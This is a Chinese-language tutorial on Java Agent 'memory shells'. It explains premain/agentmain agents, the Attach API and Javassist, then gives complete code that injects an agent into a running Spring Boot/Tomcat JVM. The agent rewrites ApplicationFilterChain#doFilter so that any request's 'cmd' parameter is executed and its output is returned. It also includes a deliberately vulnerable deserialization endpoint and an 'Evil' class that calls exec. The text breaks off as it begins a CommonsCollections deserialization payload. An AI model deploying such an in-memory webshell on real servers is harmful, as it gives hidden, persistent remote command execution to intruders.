内存马系列 - Agent型

参考文章:

什么是Java Agent?

它们本质上是 Java 库,其中包含实现 Java Instrumentation API 的类。该 API 自 JDK 1.5 起可用。这是一个非常简单但功能强大的 API,它为应用程序检测奠定了基础。

该检测工具的主要功能在于允许我们向特定类中添加代码。通过添加这些代码,我们可以重新编译数据,主要用于监控、分析或事件日志记录。这使我们能够获取有关应用程序的关键信息,从而帮助我们解决问题或获取原本无法获取的数据。

Java是一种静态强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。
该检测API的主要特点是能够修改虚拟机jvm正在执行的类的字节码。通过这种修改,我们将进而动态地修改已加载或未加载的类、属性和方法

对于Agent(代理)来讲,其大致可以分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图:

premain-Agent

img

agentmain-Agent

img

Java Agent示例

premain-Agent

首先我们必须实现 premain 方法,同时我们 jar 文件的清单(mainfest)中必须要含有 Premain-Class 属性

我们可在命令行利用 -javaagent 来实现启动时加载。

premain 方法顾名思义,会在我们运行 main 方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法

  • 我们首先来实现一个简单的premain-Agent,创建一个Maven项目,编写一个简单的premain-Agent,创建的类需要实现 premain 方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    import java.lang.instrument.Instrumentation;
    
    public class Java_Agent_premain {
        public static void premain(String args, Instrumentation inst) {
            for (int i =0 ; i<10 ; i++){
                System.out.println("调用了premain-Agent!");
            }
        }
    }
  • 接着在 resource/META-INF/ 下创建 agent.MF 清单文件用以指定 premain-Agent 的启动类

    1
    2
    Manifest-Version: 1.0
    Premain-Class: Java_Agent_premain

    在.mf文件的最后,一定要有空行!!!

  • 接着创建一个目标类

    1
    2
    3
    4
    5
    public class Hello {
        public static void main(String[] args) {
            System.out.println("Hello World!");
        }
    }
  • 同样,创建对应的 mf 启动项,取名为 hello.mf

    1
    2
    Manifest-Version: 1.0
    Main-Class: Hello
  • 先生成class文件,接着用 jar 命令来打包,此时并指定启动项。运行完命令之后将会生成 agent.jar 文件

    分别将class文件放在classes文件夹

    jar包放在dist文件夹

    1
    2
    javac src/main/java/Java_Agent_premain.java 
    jar cvfm dist/agent.jar src/main/resources/META-INF/agent.mf -C classes Java_Agent_premain.class

    同样的打包方式

    1
    2
    javac src/main/java/Hello.java 
    jar cvfm dist/hello.jar src/main/resources/META-INF/hello.mf -C classes Hello.class

    至此我们的准备工作已经做完了,最终得到了 agent.jar 和 hello.jar

    接下来我们只需要在 java -jar 中添加 -javaagent:agent.jar 即可在启动时优先加载 agent , 而且可利用如下方式获取传入我们的 agentArgs 参数

    1
    java -javaagent:agent.jar -jar hello.jar

    image-20260422163449755

  • 目录如下

    image-20260422162819679

agentmain-Agent

agentmain-Agent能够在JVM启动之后加载并实现相应的修改字节码功能。

premain方法在JDK1.5中提供,在JDK版本为1.5时,开发者只能在main加载之前添加手脚,但是对于大部分内存马注入时,都是JVM已经运行的情况下。
在JDK1.6中实现了attach-on-demand,我们可以使用AttachAPI动态的加载Agent,agentmain能够在JVM启动后加载并实现相应的修改字节码的功能。

AttachAPI在tool.jar中,而JVM启动时默认不加载该依赖,需要我们在classpath中额外进行指定

VirtualMachine类

com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。

该类允许我们通过给attach方法传入一个JVM的PID,来远程连接到该JVM上 ,之后我们就可以对连接的JVM进行各种操作,如注入Agent。下面是该类的主要方法

(PID 就是“进程 ID”(Process Identifier))

1
2
3
4
5
6
7
8
9
10
11
//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()
 
//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()
 
//获得当前所有的JVM列表
VirtualMachine.list()
 
//解除与特定JVM的连接
VirtualMachine.detach()

VirtualMachineDescriptor类

com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例

1
2
3
4
5
6
7
8
9
10
 <dependencies>
    <!-- https://mvnrepository.com/artifact/com.sun/tools -->
    <dependency>
        <groupId>com.sun</groupId>
        <artifactId>tools</artifactId>
        <version>1.8.0_65</version>
        <scope>system</scope>
        <systemPath>C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar</systemPath>
    </dependency>
</dependencies>

<systemPath>xxxx</systemPath>这里面的内容要看你具体的java对应版本的存放路径

也可以使用环境变量方式的写法,因为我这里环境配置的不是这个版本的jdk,我就这么弄了,大家可以自行选择

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class get_PID {
    public static void main(String[] args) {

        //调用VirtualMachine.list()获取正在运行的JVM列表
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){

            //遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID
            if(vmd.displayName().equals("org.example.get_PID"))//里面的东西要写  完整的类名
                System.out.println(vmd.id());
        }

    }
}

image-20260422213822705

实现 agentmain-Agent

  • 编写一个 Sleep_Hello类,模拟正在运行的 JVM

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import static java.lang.Thread.sleep;
    
    public class SleepHello {
        public static void main(String[] args) throws InterruptedException {
            while(true){
                System.out.println("hello");
                sleep(5000);
            }
    
        }
    }
  • 编写JavaAgentAgentmain

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    import java.lang.instrument.Instrumentation;
    
    import static java.lang.Thread.sleep;
    
    public class JavaAgentAgentmain {
        public static void agentmain(String agentArgs, Instrumentation inst) throws InterruptedException {
            while(true){
                System.out.println("agentmain-Agent");
                sleep(3000);
            }
        }
    }
  • 配置 JavaAgentAgentmain.MF 文件

    1
    2
    3
    4
    5
    Manifest-Version: 1.0
    Agent-Class: JavaAgentAgentmain
    Can-Redefine-Classes: true
    Can-Retransform-Classes: true
    Can-Set-Native-Method-Prefix: true
  • 之后编译得到 Agentmain.jar

    1
    jar cvfm dist/Agentmain.jar src/main/resources/META-INF/JavaAgentAgentmain.mf -C classes JavaAgentAgentmain.class

    image-20260422214707645

  • 编写测试类Inject_Agent,可以将agent注入到正在运行的JVM中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    import com.sun.tools.attach.*;
    
    import java.io.IOException;
    import java.util.List;
    
    public class InjectAgent {
        public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentInitializationException {
            //调用VirtualMachine.list()获取正在运行的JVM列表
            List<VirtualMachineDescriptor> list = VirtualMachine.list();
            String path="C:\\Users\\95227\\Desktop\\实验室\\序列化反序列化\\复现\\Agent\\dist\\Agentmain.jar";
    
            for(VirtualMachineDescriptor vmd : list){
                System.out.println(vmd.displayName());
                //遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
                if(vmd.displayName().contains("Sleep")){
                    //连接指定JVM
                    VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                    //加载Agent
                    virtualMachine.loadAgent(path);
                    //断开JVM连接
                    virtualMachine.detach();
                }
            }
        }
    }
  • 先运行 SleepHello.java 再运行 InjectAgent.java

    image-20260422220804203

动态修改字节码

Javassist

用来处理Java字节码的类库,允许在已经编译好的类中添加新的方法,或者修改已有的方法,同时也可以通过手动的方式去生成一个新的类对象

简介

Java 字节码以二进制的形式存储在 .class 文件中,每一个.class文件包含一个Java类或接口。Javaassist 就是一个用来处理Java字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以通过手动的方式去生成一个新的类对象。

类池 ClassPool

ClassPool是 CtClass 对象的容器。它按需读取类文件来构造 CtClass 对象,并且保存 CtClass 对象以便以后使用。需要注意的是 ClassPool 会在内存中维护所有被它创建过的 CtClass,当 CtClass 数量过多时,会占用大量的内存,API 中给出的解决方案是有意识的调用 CtClass 的 detach() 方法以释放内存。

主要方法有以下几个:

  • getDefault:获取默认的 ClassPool 对象。
  • get、getCtClass:根据类名获取 CtClass 对象,用于操作类的字节码。
  • makeClass:创建一个新的 CtClass 对象,用于新增类。
  • insertClassPath、appendClassPath:插入类搜索路径,提供给类加载器用于加载类。
  • toClass:将修改后的 CtClass 加载至当前线程的上下文类加载器中。通过调用 CtClass 的 toClass() 方法实现了将 CtClass 转换为 Class 对象,这样就可以在运行时使用这个类。需要注意的是一旦调用该方法,则无法继续修改已经被加载的 Class 对象。

获得方法如下:

通过ClassPool.getDefault()使用JVM的类搜索路径。如果程序运行在JBoss或者Tomcat的Web服务器上,则ClassPool可能无法找到用户的类,因为Web服务器会使用多个类加载器作为系统类加载器。在这种情况下,ClassPool必须添加额外的搜索路径

1
2
3
4
//获得方法
ClassPool cp = ClassPool.getDefault();
//添加类搜索路径
cp.insertClassPath(new ClassClassPath(<Class>));

CtClass

CtClass 是 Javassist 库里最核心的一个类 ,Javassist 中的一个抽象类,用于表示一个类文件。可以把它理解为“编译时类”(Compile-time Class)

当你拿到一个类的字节码(byte[]),想要修改它的代码逻辑时,直接操作二进制字节数组是非常困难的。CtClass 的作用就是把这些复杂的字节码包装成一个类似源代码的对象,让你能用类似写 Java 代码的方式去修改它。

它在内存中修改的是 Javassist 自定义的 Java 对象(即 CtClass 对象),但这些修改最终会被“翻译”成二进制字节码(Bytecode)。

获取方法:找到类里的某个函数(CtMethod)。

修改方法体:在方法执行前(insertBefore)或执行后(insertAfter)插入你的恶意代码。

添加属性:给类增加新的字段(CtField)。

转换回字节码:修改完成后,再把它变回 JVM 能认的 byte[]。

CtClass 需要关注的方法:

  • freeze:冻结一个类,使其不可修改。
  • isFrozen:判断一个类是否已被冻结。
  • prune:删除类不必要的属性,以减少内存占用。调用该方法后,许多方法无法将无法正常使用,慎用。
  • defrost:解冻一个类,使其可以被修改。如果事先知道一个类会被 defrost , 则禁止调用 prune 方法。
  • detach:将该 class 从 ClassPool 中删除。
  • setSuperclass:设置当前类的父类。
  • writeFile:将 CtClass 对象转换为类文件并将其写入本地磁盘。
  • toClass:通过类加载器加载该 CtClass ,示例:Class clazz = cc.toClass(); 。
  • toBytecode:获取 CtClass 的字节码,示例:byte[] b = cc.toBytecode(); 。

获取:

1
ClassPool.get(ClassName)

CtMethod 和 CtField

CtMethod 和 CtField 分别代表 Java 类中的方法和字段。通过 CtClass 对象,可以获取、添加、删除或修改类中的方法和字段。这些对象提供了丰富的 API ,用于操作方法和字段的各种属性,如访问修饰符、名称、返回类型等。

CtMethod 中的一些重要方法:

  1. insertBefore:在方法的起始位置插入代码。
  2. insterAfter:在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到 exception 。
  3. insertAt:在指定的位置插入代码。
  4. setBody:将方法的内容设置为要写入的代码,当方法被 abstract 修饰时,该修饰符被移除。
  5. make:创建一个新的方法。

利用 CtMethod 中的 insertBefore,insterAfter,insertAt 等方法可以实现 AOP 增强功能。

通过CtClass.getDeclaredMethod(MethodName)获取,其中该类提供了一些方法可以让我们直接修改方法体,方法如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public final class CtMethod extends CtBehavior {
    
}

public abstract class CtBehavior extends CtMethod {
    //设置方法体
    public void setBody(String src);

    // 插入在方法体最前面
    public void insertBefore(String src);
 
    // 插入在方法体最后面
    public void insertAfter(String src);
 
    // 在方法体的某一行插入内容
    public int insertAt(int lineNum, String src);
 
}

其中传递给insertBefore、insertAfter和insertAt的String对象是由Javassist的编译器进行编译的。该编译器支持语言的扩展,以下以$符号开头的几个标识符具有特殊的含义:img

Javassist 使用

  • xml

    1
    2
    3
    4
    5
    <dependency>  
      <groupId>org.javassist</groupId>  
      <artifactId>javassist</artifactId>  
      <version>3.27.0-GA</version>  
    </dependency>
  • 使用 javassist 创建一个 Person 类

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    import javassist.*;
    
    public class JavassistDemo   {
        public static void CreatePerson() throws Exception{
            //获取 CtClass 对象容器 ClassPool
            ClassPool classPool = ClassPool.getDefault();
            //创建一个新类 Javassist.Person
            CtClass ctClass = classPool.makeClass("javassist.Person");
            //创建一个 Person 类的属性 name
            CtField ctField1 = new CtField(classPool.get("java.lang.String"),"name", ctClass);
            //设置属性访问符
            ctField1.setModifiers(Modifier.PRIVATE);
            //将属性添加到 Person中,并设置初始值
            ctClass.addField(ctField1,CtField.Initializer.constant("aaa"));
    
            //向 Person 类中添加 setter 和 getter 方法
            ctClass.addMethod(CtNewMethod.setter("setName",ctField1));
            ctClass.addMethod(CtNewMethod.getter("getName",ctField1));
    
            //创建一个无参构造
            CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
            //设置方法体
            ctConstructor.setBody("{name = \"aaa\";}");
            //向 Person 类中添加无参构造
            ctClass.addConstructor(ctConstructor);
    
            //创建一个类方法 printName
            CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, ctClass);
            //设置方法访问符
            ctMethod.setModifiers(Modifier.PUBLIC);
            //设置方法体
            ctMethod.setBody("{System.out.println(\"Hello World\");}");
            //将方法添加至 Person 中
            ctClass.addMethod(ctMethod);
    
            //将生成的字节码写入文件中
            ctClass.writeFile();
    
        }
    
        public static void main(String[] args) throws Exception {
            System.out.println("start");
            CreatePerson();
            System.out.println("finish");
        }
    }

    image-20260422222614910成功

    创建好的 Person.class

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    //
    // Source code recreated from a .class file by IntelliJ IDEA
    // (powered by FernFlower decompiler)
    //
    
    package javassist;
    
    public class Person {
        private String name = "aaa";
    
        public void setName(String var1) {
            this.name = var1;
        }
    
        public String getName() {
            return this.name;
        }
    
        public Person() {
            this.name = "aaa";
        }
    
        public void printName() {
            System.out.println("Hello World");
        }
    }

使用Javassist生成恶意class

从字节码层面生成恶意 class ,跳过恶意类的编译过程

image-20260422223209065

恶意class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class Evil extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception var1) {
        }

    }
}

Instrumentation 动态修改字节码

Instrumentation是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。

其在Java中是一个接口,常用方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public interface Instrumentation {
    
    //增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
 
    //在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);
 
    //删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);
 
 
    //在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
 
    //判断一个类是否被修改
    boolean isModifiableClass(Class<?> theClass);
 
    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();
 
    //获取一个对象的大小
    long getObjectSize(Object objectToSize);
}

获取目标JVM已加载类

  • Java_Agent_agentmain_Instrumentation.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    import java.lang.instrument.Instrumentation;
    
    
    public class Java_Agent_agentmain_Instrumentation {
        public static void agentmain(String args,  Instrumentation inst) throws InterruptedException{
            Class[] classes = inst.getAllLoadedClasses();
    
            for(Class cls : classes){
                System.out.println("=======================");
                System.out.println("加载类:" + cls.getName());
                System.out.println("是否可被修改:" + inst.isModifiableClass(cls));
            }
    
        }
    }
  • Instrumentation.mf

    1
    2
    3
    4
    5
    Manifest-Version: 1.0
    Agent-Class: Java_Agent_agentmain_Instrumentation
    Can-Redefine-Classes: true
    Can-Retransform-Classes: true
    Can-Set-Native-Method-Prefix: true
  • 创建 jar

    1
    jar cvfm dist/Instrumentation.jar src/main/resources/META-INF/Instrumentation.mf -C classes Java_Agent_agentmain_Instrumentation.class

    image-20260422224012537

  • 使用 InjectAgent.java 测试

    image-20260422224144349

    先运行 SleepHello.java 再运行 InjectAgent.java

  • 能够获取目标JVM已加载类

    image-20260422224649248

transform - 转换器

在Instrumentation接口中,我们可以通过**addTransformer()**来添加一个transformer(转换器),关键属性就是ClassFileTransformer类。

1
2
//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

ClassFileTransformer接口中只有一个**transform()**方法,返回值为字节数组,作为转换后的字节码注入到目标JVM中。

image-20260423095956932

在通过 addTransformer 注册一个transformer后,每次定义或者重定义新类都会调用transformer。所谓定义,即是通过ClassLoader.defineClass加载进来的类。而重定义是通过Instrumentation.redefineClasses方法重定义的类。

当存在多个转换器时,转换将由 transform 调用链组成。 也就是说,一个 transform 调用返回的 byte 数组将成为下一个调用的输入(通过 classfileBuffer 参数)。

转换将按以下顺序应用:

1
2
3
4
不可重转换转换器
不可重转换本机转换器
可重转换转换器
可重转换本机转换器

至于transformer中对字节码的具体操作,则需要使用到Javassisit类。

Instrumentation的局限性

大多数情况下,我们使用Instrumentation都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:

premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。

类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:

  1. 新类和老类的父类必须相同
  2. 新类和老类实现的接口数也要相同,并且是相同的接口
  3. 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
  4. 新类和老类新增或删除的方法必须是private static/final修饰的
  5. 可以修改方法体

Agent 内存马注入

在正常的实际环境中,我们遇到的情况都是已经在启动中的,premain那种方法并不适合内存马的注入,因此这里我们用agentmain来进行注入内存马

如何动态修改对应类的字节码在上文中已提过,所以我们现在第一件事是需要找到对应的类中的某个方法,这个类中的方法需要满足两个要求

  1. 该方法一定会被执行
  2. 不会影响正常的业务逻辑

方法一

环境搭建

  • SpringBoot 2.6.13
  • CommonCollection 3.2.1

Springboot作为漏洞环境,搭建一个简单的反序列化环境

  • 搭建一个反序列化环境:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    package org.example.spring_agent.agent;
    
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.ResponseBody;
    
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.ObjectInputStream;
    
    @Controller
    public class AgentFilter {
    
        @ResponseBody
        @RequestMapping("/cc")
        public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
            java.io.InputStream inputStream =  request.getInputStream();
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            return "Hello,World";
        }
    
        @ResponseBody
        @RequestMapping("/demo")
        public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
            return "This is OK Demo!";
        }
    
    }

    image-20260423174416425

寻找关键类

前面我们提到:
在Filter中存在doFilter方法,除了会对我们的请求进行过滤,会依次调用FilterChains中的Filter,同时在 ApplicationFilterChain#doFilter 中还封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回。

image-20260423172634737

反序列化注入

步骤:

  1. 编写 agent.jar 从而实现 <font style="color:rgb(51, 51, 51);">org.apache.catalina.core.ApplicationFilterChain#doFilter</font> 进行字节码修改
  2. 利用 CC依赖 的反序列化漏洞将我们的加载代码打进去,然后使其执行来加载我们的 agent.jar

xml

配置 maven-assembly-plugin 插件以及 maven-compiler-plugin(编译插件)。

maven-assembly-plugin 插件“把依赖包(Javassist)打进 JAR”以及“指定 Agent 入口”的功能。 maven-compiler-plugin负责把 .java 变成 .class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Agent</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <!-- https://mvnrepository.com/artifact/com.sun/tools -->
        <dependency>
            <groupId>com.sun</groupId>
            <artifactId>tools</artifactId>
            <version>1.8.0_65</version>
            <scope>system</scope>
            <systemPath>C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar</systemPath>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.27.0-GA</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.8.1</version>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                    <compilerArgs>
                        <arg>-XDignore.symbol.file</arg>
                    </compilerArgs>
                    <fork>true</fork>
                </configuration>
            </plugin>

            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <version>3.3.0</version>
                <configuration>
                    <archive>
                        <manifestEntries>
                            <Agent-Class>org.example.payload2.AgentMain</Agent-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                        </manifestEntries>
                    </archive>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                </configuration>
                <executions>
                    <execution>
                        <id>make-assembly</id>
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

</project>

agent.jar

AgentMain.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example.payload2;

public class AgentMain {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String agentArgs, Instrumentation ins) {
        ins.addTransformer(new DefineTransformer(),true);
        // 获取所有已加载的类
        Class[] classes = ins.getAllLoadedClasses();
        for (Class clas:classes){
            if (clas.getName().equals(ClassName)){
                try{
                    // 对类进行重新定义
                    ins.retransformClasses(new Class[]{clas});
                } catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    }
}

DefineTransformer.java:

修改字节码的关键在于 transformer() 方法,因此我们重写该方法即可

对 transform 拦截的类进行判断,如果被拦截的 classname 等于 ApplicationFilterChain 的话那么就对其进行字节码动态修改,这里我们使用 insertBefore 方法,将其插入到前面,从而减少对原程序的功能破坏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example.payload2;

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;


public class DefineTransformer implements ClassFileTransformer {

    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace("/",".");
        if (className.equals(ClassName)){
            System.out.println("Find the Inject Class: " + ClassName);
            ClassPool pool = ClassPool.getDefault();
            try {
                CtClass c = pool.getCtClass(className);
                CtMethod m = c.getDeclaredMethod("doFilter");
                m.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}");
                byte[] bytes = c.toBytecode();

                c.detach();

                return bytes;
            } catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

maven进行clean以及package之后得到:Agent-1.0-SNAPSHOT-jar-with-dependencies.jar及为我们需要的 agent.jar

InjectMain.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example.payload2;

public class InjectMain {
    public static void main(String[] args) {

        try{
            java.lang.String path = "C:\\Users\\95227\\Desktop\\实验室\\序列化反序列化\\复现\\Agent\\target\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar";
            java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
            java.net.URL url = toolsPath.toURI().toURL();
            java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
            Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
            java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);

            System.out.println("Running JVM list ...");
            for(int i=0;i<list.size();i++){
                Object o = list.get(i);
                java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
                java.lang.String name = (java.lang.String) displayName.invoke(o,null);
                // 列出当前有哪些 JVM 进程在运行
                // 这里的 if 条件根据实际情况进行更改
                if (name.contains("org.example.spring_agent.SpringAgentApplication")){
                    // 获取对应进程的 pid 号
                    java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
                    java.lang.String id = (java.lang.String) getId.invoke(o,null);
                    System.out.println("id >>> " + id);
                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
                    java.lang.Object vm = attach.invoke(o,new Object[]{id});
                    java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
                    loadAgent.invoke(vm,new Object[]{path});
                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
                    detach.invoke(vm,null);
                    System.out.println("Agent.jar Inject Success !!");
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

image-20260423174844812

通过url将cmd参数传入后,可以看到命令执行成功

这里只是正常方式的注入,而实际环境中的大部分环境只能反序列化注入或者jsp文件注入

image-20260425180604901

CC 反序列化注入

  • 通过CC反序列化进行注入Agent内存马, 编译生成 Test.class

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    package org.example.payload2;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
